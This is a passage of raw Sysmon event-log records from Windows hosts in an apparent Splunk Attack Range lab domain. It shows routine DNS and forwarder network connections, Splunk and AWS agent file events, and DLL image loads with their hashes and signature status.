Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=511709B24A4305B854E4754328E2ABE2,SHA256=A87ACA94DBEB9BA4FD6FDFB4E62B788A4E3E5C1E906927A40B0C3BD8B0FE8C77,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:04.522{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local54743- 354300x800000000000000053460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:04.485{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54743- 23542300x800000000000000053459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:07.095{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FB87DDF6FBEEE3A9C85511EAA77EDF3A,SHA256=78E0D1E261C60A0E23637406134BF83953F2845F63E1C5E1DAA44F131327B63F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017202Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:08.634{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=05D676F6BB80B00B1546C8D7EC10E5C8,SHA256=E995C552693669CBA607F2E8F56D2293E3E7F2BEC9893B40C9DCD087670860B7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:06.337{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59657-false10.0.1.12-8000- 23542300x800000000000000053462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:08.109{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=78BC6B8BE8F1A31E20C2A649189C7EEF,SHA256=DF61DEEC76D109EB21B64A8A7D9DAB44F55BCEB1FECB304316936EEDF3192373,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017201Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:06.581{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50343-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017203Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:09.650{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=208D595B4AF9F1D746E719027DBF3528,SHA256=54A903A1B51F02D69EC73055B2E1DDD50910B5D67FA364F82F7B3CC9EF3ECFC1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:09.255{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=75BD12F89176E9703757F72D2B386C1B,SHA256=C2CFE3B31EDD01FD402410753E698DC07FCBE7619C5A7994D6275B30BA87215A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017204Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:10.650{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=774CFD2026C566209CDA233248767351,SHA256=24F34B2FF37B49A29DF49626835A16621F75325634E14AE31201F0F80E744CDC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:10.307{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=33EA17C7E9304FE0A14FFCADBE646D66,SHA256=9517D47D7F26251A32C57026AAAD3719C499D69F15BF19EFE5646C348D323A44,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017205Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:11.651{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A3EF25C485E1BCB17D12F297ED864D84,SHA256=209CF964523DA833A67F1A3749182CAEE8BB2A4B71C51EF1F844587F17A1E36E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:11.337{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=038188FB892D9C80BA14202626E62B2A,SHA256=C5F49AC912E5DEE4584BCA3118B0C8B72C71E93ACC297CD3DA71DFB6618E75E2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017206Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:12.651{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7A24525BD9E3F198376B97AAB8849AEB,SHA256=CE8831C37132F27BE94D6AB4867AE46BB78B416AFAF472D22A0D883F361768C5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:12.405{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D966384FA6B3C1AB7EFE574762424DE3,SHA256=3EABDCBF02FC0A8E67B08B98E0F4B979C0BF660043293E0AA177DCE0E4B0C4D1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017207Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:13.666{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=409343B1195FFA9D1B6A3538601702AA,SHA256=EC91175D8290EB9599C90359B7DAAF610E8AE5C929008C14ADB2DF28768DB41A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:13.551{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EE1D5231ACC9F5FD22A7ACB3786FD2A2,SHA256=A8B5F95BB0BE75219B77AE3921ED5B7291F98D61D027DE0FD8323BF48B9227DB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000053471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:11.516{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59658-false10.0.1.12-8000- 23542300x800000000000000053470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:14.584{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E5F92F81E9DF6573956559AEB9633B7,SHA256=15200313A10985E0D3F55B014123843FCE7B44FDB345B33209CB4E64E9805DA5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017209Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:14.667{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ADD0A0EB960C962A72FE9FACFFB5A427,SHA256=3977002856FC8307E0CFCC970BD042F4E5A24DB9A941824AB6519597CF8C9A68,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017208Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:12.519{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50344-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000053469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:14.069{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-057MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017210Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:15.713{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1A3FA289FED61C75B2610830CCFD3CCC,SHA256=1C46D50F91050974680DED7D83DD6FF0C398A21E081668C9C4460303D48C50E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:15.671{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F526227A74753C5C6180E41D80ED607E,SHA256=DD4154226D2D2276235682AD7EF4ACFE1EE29F7475481D4F0CC7178CD3D078AF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:15.071{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-058MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017211Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:16.745{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=556482B940D4A9723933AF8AD58DDE78,SHA256=ABF3DB1C3C9E92E5EEDA7BDFDBBBFC1D6A01A921AD01045EDF10C260FEB53938,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:16.739{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0101D39275AEFF22375B0FF2B401B88C,SHA256=C4E0869A5B56E8D0DB09B1081D25E428C798DF90B1E3CBA2DD0D63710E3C3F12,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017212Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:17.760{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1C9308188C9B20E94C0248DB174BE91A,SHA256=E02D5DCC1F35D36E65C5403B4AE0737EFD9A3EF4618ADE08E33E282DB24B4C95,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000053578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.923{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.923{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.923{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.923{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.923{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.923{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.923{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.923{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000053569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft 